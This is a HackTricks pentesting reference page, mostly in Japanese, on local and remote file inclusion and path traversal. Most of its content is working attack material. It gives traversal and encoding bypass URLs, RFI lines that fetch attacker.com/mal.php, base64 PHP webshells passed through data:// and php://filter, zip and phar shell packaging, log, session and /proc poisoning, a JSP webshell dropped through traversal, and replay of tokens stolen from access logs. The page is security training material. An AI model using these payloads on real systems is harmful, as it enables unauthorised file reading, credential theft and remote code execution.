File Inclusion/Path traversal
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
File Inclusion
Remote File Inclusion (RFI): ファイルはリモートサーバーから読み込まれます(最良: あなたがコードを書き、サーバーがそれを実行します)。phpではデフォルトで無効です(allow_url_include)。
Local File Inclusion (LFI): サーバーがローカルファイルを読み込みます。
この脆弱性は、ユーザーがサーバーにより読み込まれるファイルを何らかの方法で制御できる場合に発生します。
脆弱な PHP functions: require, require_once, include, include_once
この脆弱性を悪用するための興味深いツール: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
*いくつかの nix LFI リストを組み合わせ、さらにパスを追加して作成したもの:
Try also to change / for \
Try also to add ../../../../../
A list that uses several techniques to find the file /etc/password (脆弱性が存在するか確認するため) can be found here
Windows
異なる wordlists のマージ:
Try also to change / for \
Try also to remove C:/ and add ../../../../../
A list that uses several techniques to find the file /boot.ini (脆弱性が存在するか確認するため) can be found here
OS X
Linux の LFI リストを確認してください。
Basic LFI and bypasses
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences stripped non-recursively
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
提供された文字列の末尾に文字が追加される処理をバイパスする(バイパス対象: $_GET[‘param’].“php”)
http://example.com/index.php?page=../../../etc/passwd%00
これは PHP 5.4 以降で修正されています
エンコーディング
double URL encode などの非標準エンコーディングを使用することができます(その他も含む):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
HTML-to-PDF SVG/IMG path traversal
Modern HTML-to-PDF engines (e.g. TCPDF or wrappers such as html2pdf) happily parse attacker-provided HTML, SVG, CSS, and font URLs, yet they run inside trusted backend networks with filesystem access. Once you can inject HTML into $pdf->writeHTML()/Html2Pdf::writeHTML(), you can often exfiltrate local files that the web server account can read.
- Fingerprint the renderer: 生成されるPDFには必ず
Producerフィールド(例:TCPDF 6.8.2)が含まれます。正確なビルドを知ることで、どのパスフィルタが存在するか、検証前にURLデコードが行われるかどうかを判断できます。 - Inline SVG payloads:
TCPDF::startSVGElementHandler()は<image>要素のxlink:href属性をurldecode()を実行する前に読み取ります。悪意あるSVGをdata URI内に埋め込むと、多くのHTML sanitizersがペイロードを無視する一方でTCPDFはそれを解析します:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
TCPDFは/で始まるパスに$_SERVER['DOCUMENT_ROOT']を先頭に付加し、..の解決は後で行うため、prepend後にルートを抜けるには先頭に../../..のセグメントを使うか/../../..を使ってください。
- 単純なフィルタを回避するためのエンコーディング: Versions ≤6.8.2 はURLをデコードする前にリテラルな部分文字列
../だけをチェックします。SVG内や生の<img src>属性に..%2f(または..%2F)を送るとチェックを回避できます。Traversalの../シーケンスはTCPDFがurldecode()を呼んだ後に再構成されるためです。 - マルチステージデコードのための二重エンコード: ユーザ入力がWebフレームワークとTCPDFの両方でデコードされる場合、スラッシュを二重エンコード(
%252f)します。1回のデコードで%2fになり、TCPDFでの2回目のデコードで/になり、/..%252f..%252f..→/../../../…のように初期のフィルタに../を一度も見せずに到達できます。 - HTML
<img>ハンドラ:TCPDF::openHTMLTagHandler()は同じ順序バグを含んでおり、src="%2f..%252f..%252ftmp%252fsecret.png"のような直接HTMLペイロードでローカルのビットマップを読み取れます。
This technique leaks anything readable by the PDF worker (passport scans, API keys rendered as images, etc.). Hardeners fixed it in 6.9.1 by canonicalising paths (isRelativePath()), so during tests prioritise older Producer versions.
既存のフォルダから
バックエンドがフォルダパスをチェックしている可能性があります:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
サーバー上のファイルシステムのディレクトリ探索
サーバーのファイルシステムは、特定の手法を用いることで、ファイルだけでなくディレクトリも再帰的に探索できます。この手順は、ディレクトリの深さを特定し、特定のフォルダの存在を探ることを含みます。以下はその詳細な方法です:
- ディレクトリの深さを特定する: 現在のディレクトリの深さは、
/etc/passwdファイルを正常に取得することで判定します(サーバーが Linux ベースの場合)。例として、深さが三であることを示す URL は次のように構成される場合があります:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- フォルダをプローブする: 疑わしいフォルダ名(例:
private)をURLに追加し、次に/etc/passwdに戻る。追加のディレクトリレベルがあるため、depth を1つ増やす必要がある:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- 結果の解釈: サーバーの応答からフォルダが存在するかどうかを判断できます:
- エラー / 出力なし: 指定した場所に
privateフォルダは存在しない可能性が高い。 /etc/passwdの内容:privateフォルダの存在が確認されます。
- 再帰的探索: 発見したフォルダは同じ手法や従来の Local File Inclusion (LFI) 手法を使って、サブディレクトリやファイルをさらに調査できます。
ファイルシステムの別の場所にあるディレクトリを調べるには、ペイロードを適宜調整してください。例えば、現在のディレクトリが深さ3にあると仮定して /var/www/ に private ディレクトリがあるか確認するには、次を使用します:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncationは、ウェブアプリケーションのファイルパスを操作するために用いられる手法です。ファイルパスの末尾に余分な文字を付加するセキュリティ対策を回避して、アクセス制限されたファイルに到達する目的で使われることが多いです。狙いは、セキュリティ対策によって変更された後でも、目的のファイルを指し続けるようなファイルパスを作成することです。
In PHPでは、ファイルシステムの性質上、同じファイルを指す複数のパス表現が等価と扱われることがあります。例えば:
/etc/passwd,/etc//passwd,/etc/./passwd, and/etc/passwd/はすべて同じパスとして扱われます。- 最後の6文字が
passwdの場合、末尾に/を追加してpasswd/にしても対象のファイルは変わりません。 - 同様に、ファイルパスに
.phpが付加されている場合(例:shellcode.php)、末尾に/.を付けてもアクセスされるファイルは変わりません。
以下の例は、Path truncation を利用して敏感な内容(ユーザーアカウント情報)を含む一般的なターゲットである /etc/passwd にアクセスする方法を示します:
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
これらのシナリオでは、必要なトラバーサルの回数は約2027回になる場合がありますが、この数はサーバーの設定によって変わる可能性があります。
- ドットセグメントと追加文字の使用: トラバーサルシーケンス(
../)を余分なドットセグメントや文字と組み合わせることでファイルシステムを移動でき、サーバーによって付加された文字列を実質的に無視することができます。 - 必要なトラバーサル回数の判定: 試行錯誤により、ルートディレクトリまで、そして
/etc/passwdに到達するのに必要な正確な../の数を見つけることができ、.phpのような付加された文字列を無効化しつつ目的のパス(/etc/passwd)を保持できます。 - 偽のディレクトリで開始する: パスを存在しないディレクトリ(例:
a/)で始めるのは一般的な手法です。このテクニックは予防策として、またはサーバーのパス解析ロジックの要件を満たすために使用されます。
When employing path truncation techniques, サーバーのパス解析の挙動とファイルシステム構造を理解しておくことが重要です。各シナリオは異なるアプローチを必要とする場合があり、最も効果的な方法を見つけるためにはテストが必要になることが多いです。
この脆弱性は PHP 5.3 で修正されました。
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
phpでは、これはデフォルトで無効になっています。これは allow_url_include が Off. になっているためです。動作させるには On にする必要があり、その場合は自サーバーからPHPファイルをincludeしてRCEを得られます:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
何らかの理由で allow_url_include は On になっているが、PHP は外部ウェブページへのアクセスを filtering している場合、according to this post、例えば data プロトコルを base64 で使って b64 PHP コードをデコードし egt RCE を得ることができます:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
露出した .git リポジトリ(ソース開示)
Webサーバが /.git/ を公開している場合、攻撃者はしばしば リポジトリ全体を再構築(コミット履歴を含む)して、オフラインでアプリケーションを監査できます。これにより、非公開のエンドポイント、シークレット、SQLクエリ、admin専用の機能が明らかになることがよくあります。
簡易チェック:
curl -s -i http://TARGET/.git/HEAD
curl -s -i http://TARGET/.git/config
リポジトリを git-dumper でダンプする:
uv tool install git-dumper
git-dumper http://TARGET/.git/ out/
次にワーキングツリーを復元します:
cd out
git checkout .
Tip
前のコードでは、最後の
+.txtは攻撃者が.txtで終わる文字列を必要としていたため追加されました。文字列はそれで終わり、b64 decode の後にその部分は単なるジャンクを返し、実際の PHP コードが含まれ(したがって実行され)ます。別の例(
php://プロトコルを使用しない)は次のようになります:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python ルート要素
pythonでは、次のようなコードの場合:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
ユーザーが absolute path を file_name に渡すと、previous path は単に削除されます:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
これは the docs による意図された動作です:
コンポーネントが絶対パスであれば、それ以前のすべてのコンポーネントは破棄され、結合はその絶対パスのコンポーネントから続行されます。
Java のディレクトリ一覧
JavaでPath Traversalがある場合、ファイルではなくディレクトリを要求すると、ディレクトリの一覧が返されるようです。他の言語では(私の知る限り)このようなことは起きません。
上位25のパラメータ
以下は local file inclusion (LFI) 脆弱性の対象になりうる上位25のパラメータのリストです(出典: link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI: PHP ラッパーとプロトコルの利用
php://filter
PHP のフィルタは、データが読み込まれたり書き込まれたりする前に、基本的な データの変更操作 を行うことを可能にします。フィルタには5つのカテゴリがあります:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: データからタグを削除する(“ < “ と “ > “ 文字の間のすべて)- Note that this filter has disappear from the modern versions of PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: 別のエンコーディングに変換します(convert.iconv.<input_enc>.<output_enc>)。サポートされているすべてのエンコーディングの一覧を取得するにはコンソールで次を実行します:iconv -l
Warning
Abusing the
convert.iconv.*conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check LFI2RCE via php filters.
- Compression Filters
zlib.deflate: コンテンツを圧縮する(大量の情報をexfiltratingする場合に有用)zlib.inflate: データを解凍する- Encryption Filters
mcrypt.*: Deprecatedmdecrypt.*: Deprecated- Other Filters
- PHPで
var_dump(stream_get_filters());を実行すると、いくつかの予期しないフィルタが見つかります: consumeddechunk: HTTP のチャンク転送エンコーディングを復元するconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
“php://filter” の部分は大文字小文字を区別しません
php filters をオラクルとして使用して任意のファイルを読む
In this post は、サーバーから出力が返されない状態でローカルファイルを読む技術を提案しています。この技術は、php filters をオラクルとして用いた、ファイルの**boolean exfiltration(char by char)**に基づいています。これは php filters を使ってテキストを十分に大きくし、php に例外を発生させることができるためです。
オリジナルの投稿に詳細な説明がありますが、ここでは要約を示します:
- コーデック
UCS-4LEを使用してテキストの先頭文字を先頭に残し、文字列のサイズを指数的に増やします。 - これにより、先頭文字が正しく推測された場合に php がエラーを起こすほど非常に大きなテキストを生成できます。
- dechunk フィルタは先頭文字が16進数でない場合にすべてを削除するため、先頭文字が16進数かどうかを判定できます。
- これは前述の方法(と推測した文字に応じた他のフィルタ)と組み合わせることで、十分な変換を行ったときに先頭文字が16進数でなくなるタイミングを見て先頭の文字を推測できます。もし16進数であれば dechunk は削除せず、初期の“爆弾”が php のエラーを引き起こします。
- コーデック convert.iconv.UNICODE.CP930 は各文字を次の文字に変換します(例:a -> b)。これにより例えば先頭文字が
aかどうかを判別できます。6回このコーデックを適用すると a->b->c->d->e->f->g となり、その文字はもはや16進数文字ではなくなるため dechunk は削除せず、初期の“爆弾”と掛け合わさって php のエラーが発生します。 - 先頭で rot13 のような他の変換を使うと n, o, p, q, r 等の文字を leak することができます(他のコーデックで他の文字を16進数の範囲に移動させることも可能です)。
- 先頭文字が数字の場合は base64 エンコードして先頭2文字を leak して数字を判別する必要があります。
- 最後の問題は、先頭文字以上の情報をどうやって leak するかです。convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE のような順序を変えるメモリフィルタを使うことで文字の順序を入れ替え、テキストの他の文字を先頭に持ってくることが可能です。
- さらにデータを取得するためのアイデアは、先頭に2バイトのジャンクデータを生成することを convert.iconv.UTF16.UTF16 で行い、UCS-4LE を適用してそれを 次の2バイトとピボットさせる、そして ジャンクデータまでのデータを削除する ことです(これにより元のテキストの先頭2バイトが削除されます)。これを目的のビットに到達するまで繰り返します。
投稿ではこれを自動で実行するツール php_filters_chain_oracle_exploit も公開されています。
php://fd
この wrapper はプロセスが開いている file descriptors にアクセスを許可します。開かれているファイルの内容を exfiltrate するのに潜在的に有用です:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
また、php://stdin, php://stdout and php://stderr を使用して、それぞれ ファイルディスクリプタ 0、1、2 にアクセスできます(攻撃でどのように役立つかは不明です)
zip:// and rar://
PHPShell を内包した Zip または Rar ファイルをアップロードしてアクセスできます。
rar protocol を悪用するには、特別に有効化されている必要があります。
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
このプロトコルは php の設定 allow_url_open および allow_url_include によって制限されることに注意してください
expect://
Expect を有効にしておく必要があります。これを使ってコードを実行できます:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
POST parametersにpayloadを指定してください:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
A .phar file can be utilized to execute PHP code when a web application leverages functions such as include for file loading. The PHP code snippet provided below demonstrates the creation of a .phar file:
phar://
.pharファイルは、webアプリケーションがファイル読み込みにincludeのような関数を利用している場合に、PHPコードを実行するために利用できます。以下のPHPコードスニペットは、.pharファイルの作成を示しています:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
.phar ファイルをコンパイルするには、次のコマンドを実行してください:
php --define phar.readonly=0 create_path.php
実行すると、test.phar というファイルが作成され、Local File Inclusion (LFI) の脆弱性を悪用するために利用される可能性があります。
LFI がファイルの読み取りのみを行い、内部の PHP コードを実行しない場合(file_get_contents()、fopen()、file()、file_exists()、md5_file()、filemtime()、filesize() などを通じて)、deserialization 脆弱性の悪用を試みることができます。この脆弱性は phar プロトコルを使ったファイル読み取りに関連しています。
.phar ファイルに関する deserialization 脆弱性の悪用について詳しくは、以下のドキュメントを参照してください:
Phar Deserialization Exploitation Guide
CVE-2024-2961
PHP の php filters をサポートする任意のファイル読み取りを悪用して RCE を得ることが可能でした。詳細な説明は found in this post.
手短にまとめると:PHP ヒープの 3 byte overflow を悪用して、特定サイズの free chunks のチェーンを alter the chain of free chunks し、任意のアドレスに write anything in any address できるようにし、そのために system を呼ぶフックが追加されました。
さらに、より多くの php filters を悪用して特定サイズの chunk を alloc することが可能でした。
その他のプロトコル
次のページで他の利用可能な protocols to include here:
- php://memory and php://temp — メモリまたは一時ファイルに書き込む(file inclusion attack でどのように有用かは不明)
- file:// — ローカルファイルシステムへアクセス
- http:// — HTTP(s) URL にアクセス
- ftp:// — FTP(s) URL にアクセス
- zlib:// — 圧縮ストリーム
- glob:// — パターンに一致するパス名を探す(表示可能な出力を返さないため、ここではあまり役に立たない)
- ssh2:// — Secure Shell 2
- ogg:// — オーディオストリーム(任意のファイル読み取りには不向き)
LFI via PHP’s ‘assert’
PHP において ‘assert’ 関数を扱う場合、Local File Inclusion (LFI) のリスクが特に高くなります。‘assert’ は文字列内のコードを実行できるためです。特に、‘..’ のような directory traversal を含む入力が検査されているが適切にサニタイズされていない場合に問題となります。
例えば、PHP コードは次のように directory traversal を防ぐように設計されているかもしれません:
assert("strpos('$file', '..') === false") or die("");
これは traversal を防ぐことを目的としていますが、意図せず code injection のベクトルを作ってしまいます。ファイルの内容を読むためにこれを悪用するには、攻撃者は次のようなものを使うことができます:
' and die(highlight_file('/etc/passwd')) or '
同様に、任意のシステムコマンドを実行するには、次のようにします:
' and die(system("id")) or '
It’s important to URL-encode these payloads.
PHP Blind Path Traversal
Warning
この手法は、あなたがPHP 関数のファイルパスを制御しており、その関数がファイルにアクセスするが(例えば単純な
file()の呼び出しのように)ファイルの内容が表示されない場合に関連します。
In this incredible post では、blind path traversal が PHP filter を介してどのように乱用され、エラーオラクルを通じてファイルの内容を抽出する方法が説明されています。
As sumary, the technique is using the “UCS-4LE” encoding to make the content of a file so big that the PHP function opening the file will trigger an error.
その後、最初の文字を leak するためにフィルタ dechunk が base64 や rot13 などと共に使われ、最後にフィルタ convert.iconv.UCS-4.UCS-4LE と convert.iconv.UTF16.UTF-16BE が使用されて他の文字を先頭に配置して leak します。
Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
For the technical details check the mentioned post!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
ファイルを取り込む/アップロードするサーバーサイドのコードが、宛先パスを正規化や検証を行わずにユーザー制御のデータ(例: a filename や URL)で構築すると、.. セグメントや絶対パスで意図したディレクトリから抜け出し任意のファイル書き込みが発生する可能性があります。If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Typical exploitation workflow:
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Common examples:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/→ dropshell.jsp - IIS:
C:\inetpub\wwwroot\→ dropshell.aspx - Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
- Browse to the dropped payload and execute commands.
Notes:
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- On Java stacks, these file writes are often implemented with simple
File/Pathsconcatenation. Lack of canonicalisation/allow-listing is the core flaw.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
このクラスのバグを防ぐハードニング:
- Resolve to a canonical path and enforce it is a descendant of an allow-listed base directory.
- Reject any path containing
.., absolute roots, or drive letters; prefer generated filenames. - Run the writer as a low-privileged account and segregate write directories from served roots.
Remote File Inclusion
前述の通り、follow this link.
Apache/Nginx ログファイル経由
Apache または Nginx サーバが include 関数内で vulnerable to LFI の場合、/var/log/apache2/access.log or /var/log/nginx/access.log にアクセスを試み、user agent または GET parameter 内に php shell のような <?php system($_GET['c']); ?> を書き込み、そのファイルを include することができます。
Warning
Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string “quote;”, PHP will throw an error there and nothing else will be executed.
Also, make sure you write correctly the payload or PHP will error every time it tries to load the log file and you won’t have a second opportunity.
これは他のログでも可能ですが、be careful, ログ内のコードが URL encoded されている可能性があり、これが Shell を壊すことがあります。ヘッダの authorisation “basic” は “user:password” を Base64 で含み、ログ内でデコードされます。PHPShell はこのヘッダ内に挿入できる可能性があります。
Other possible log paths:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
アクセスログを読み、GET-based auth tokens (token replay) を収集する
Many apps mistakenly accept session/auth tokens via GET (e.g., AuthenticationToken, token, sid). If you have a path traversal/LFI primitive into web server logs, you can steal those tokens from access logs and replay them to fully bypass authentication.
How-to:
- Use the traversal/LFI to read the web server access log. Common locations:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Some endpoints return file reads Base64-encoded. If so, decode locally and inspect the log lines.
- Grep for GET requests that include a token parameter and capture its value, then replay it against the application entry point.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
ボディがBase64であればデコードし、キャプチャした token を replay する:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Notes:
- URL 内のトークンはデフォルトでログに記録されるため、本番環境では GET による bearer tokens を受け取らないでください。
- アプリが複数のトークン名に対応している場合は、AuthenticationToken, token, sid, access_token のような一般的なキーを探してください。
- ログに leaked している可能性のあるトークンはすべてローテートしてください。
メール経由
メールを送信する 内部アカウント (user@localhost) に PHP ペイロード <?php echo system($_REQUEST["cmd"]); ?> を含むメールを送り、ユーザーのメールを /var/mail/<USERNAME> や /var/spool/mail/<USERNAME> のようなパスで include してみる
/proc/*/fd/* 経由
- 多数のシェルをアップロードする(例:100)
- http://example.com/index.php?page=/proc/$PID/fd/$FD を include する。ここで $PID はプロセスの PID(ブルートフォース可能)、$FD はファイルディスクリプタ(こちらもブルートフォース可能)
/proc/self/environ 経由
ログファイルと同様に、User-Agent にペイロードを入れて送信すると、/proc/self/environ ファイル内に反映される
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
アップロード経由
ファイルをアップロードできる場合は、その中にshell payloadを注入してください(例: <?php system($_GET['c']); ?>)。
http://example.com/index.php?page=path/to/uploaded/file.png
ファイルを読みやすく保つため、pictures/doc/pdf のメタデータに注入するのが最良です
Via Zip fie upload
PHP shell を含む圧縮された ZIP ファイルをアップロードして、アクセス:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
PHP sessions を介して
ウェブサイトが PHP Session (PHPSESSID) を使用しているか確認する
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
PHPでは、これらのセッションは_/var/lib/php5/sess\_[PHPSESSID]_ ファイルに保存されます。
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
cookie を <?php system('cat /etc/passwd');?> に設定してください
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
LFIを使ってPHPのセッションファイルを含める
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
ssh 経由
ssh が有効な場合、どのユーザが使われているかを (/proc/self/status & /etc/passwd) で確認し、<HOME>/.ssh/id_rsa にアクセスを試みる。
経由 vsftpd logs
FTP サーバ vsftpd のログは /var/log/vsftpd.log にあります。Local File Inclusion (LFI) 脆弱性が存在し、公開された vsftpd サーバにアクセスできる場合、以下の手順を検討できます:
- ログイン時の username フィールドに PHP ペイロードを注入する。
- 注入後、LFI を利用してサーバのログ /var/log/vsftpd.log を取得する。
php base64 filter 経由 (using base64)
この記事で示されているように、PHP の base64 filter は Non-base64 を無視します。これを利用してファイル拡張子チェックをバイパスできます: base64 の末尾が “.php” で終わる文字列を与えると、“.” を無視して “php” を base64 に付加します。以下は例のペイロードです:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (ファイル不要)
このwriteupは、php filtersを使って任意のコンテンツを出力として生成できることを説明しています。要するに、ファイルに書き込むことなく、include用に任意の php コードを生成できるということです。
Via segmentation fault
/tmp に一時的に保存されるファイルをアップロードし、同一リクエスト内でsegmentation faultを発生させると、一時ファイルが削除されずに残り、検索できます。
LFI2RCE via Segmentation Fault
Via Nginx temp file storage
もしLocal File Inclusionを発見し、NginxがPHPの前段で動作している場合、以下の手法でRCEを取得できる可能性があります。
Via PHP_SESSION_UPLOAD_PROGRESS
もしLocal File Inclusionを見つけ、セッションを持っていない場合や session.auto_start が Off の場合でも、multipart POST データで**PHP_SESSION_UPLOAD_PROGRESSを提供すると、PHPがセッションを有効化します。これを悪用してRCE**を得ることができます:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via temp file uploads in Windows
もしLocal File Inclusionが見つかり、サーバーがWindowsで動作している場合、RCEを得られる可能性があります:
Via pearcmd.php + URL args
As explained in this post、スクリプト /usr/local/lib/phppearcmd.php は php docker イメージにデフォルトで存在します。さらに、URLパラメータに = がない場合は引数として扱われるため、URL経由でスクリプトに引数を渡すことが可能です。詳細は watchTowr’s write-up と Orange Tsai’s “Confusion Attacks” も参照してください。
The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
